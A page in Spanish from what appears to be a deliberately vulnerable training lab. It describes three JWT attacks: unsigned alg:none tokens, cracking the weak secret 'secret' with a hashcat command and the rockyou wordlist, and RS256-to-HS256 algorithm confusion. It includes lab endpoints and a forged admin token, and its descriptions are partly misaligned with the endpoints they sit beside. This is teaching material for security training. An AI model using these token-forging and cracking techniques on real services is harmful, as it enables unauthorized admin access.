Tres ataques sobre tokens JWT mal configurados: algoritmo none sin firma, secreto predecible crackeable offline, y confusión RS256→HS256
Descripción de los tres ataques disponibles y sus parámetros
/api/lab/jwtEl servidor firma con secreto='secret'. Crackeable con hashcat -m 16500 en segundos
/api/lab/jwt?action=generate&role=userCon el secreto conocido cualquiera puede firmar tokens con el rol que quiera
/api/lab/jwt?action=generate&role=adminCrea un token sin firma con payload admin — el servidor lo acepta
/api/lab/jwt?action=craft-noneEl servidor acepta este token firmado con secreto débil
/api/lab/jwt?action=verify&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiZW1haWwiOiJ1c2VyQGFpdGFuYS5jbG91ZCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzAwMDAwMDAwfQ.fakeToken con alg:none sin firma — aceptado por el servidor vulnerable
/api/lab/jwt?action=verify&token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxIiwiZW1haWwiOiJhZG1pbkBhaXRhbmEuY2xvdWQiLCJyb2xlIjoiYWRtaW4ifQ.Comando para crackear el secreto: hashcat -a 0 -m 16500 <token> /usr/share/wordlists/rockyou.txt
/api/lab/jwt?action=generateSi el servidor usa RS256, firmar con HS256 usando la clave pública como secreto HMAC
/api/lab/jwt?action=generate&role=adminTres vulnerabilidades JWT en un solo lab: (1) alg:none — el servidor acepta tokens sin firma si el header indica algoritmo 'none'; (2) Secreto débil 'secret' — cualquier atacante puede obtener el secreto con hashcat -m 16500 en segundos y luego forjar tokens arbitrarios; (3) Confusión de algoritmos — si el servidor soporta RS256 y HS256, se puede firmar un token HS256 usando la clave pública RSA (conocida) como secreto HMAC. OWASP A02:2021 — CVSS 9.1.
Esta aplicación es vulnerable por diseño - Solo para propósitos educativos
© 2025 Aitana Security Lab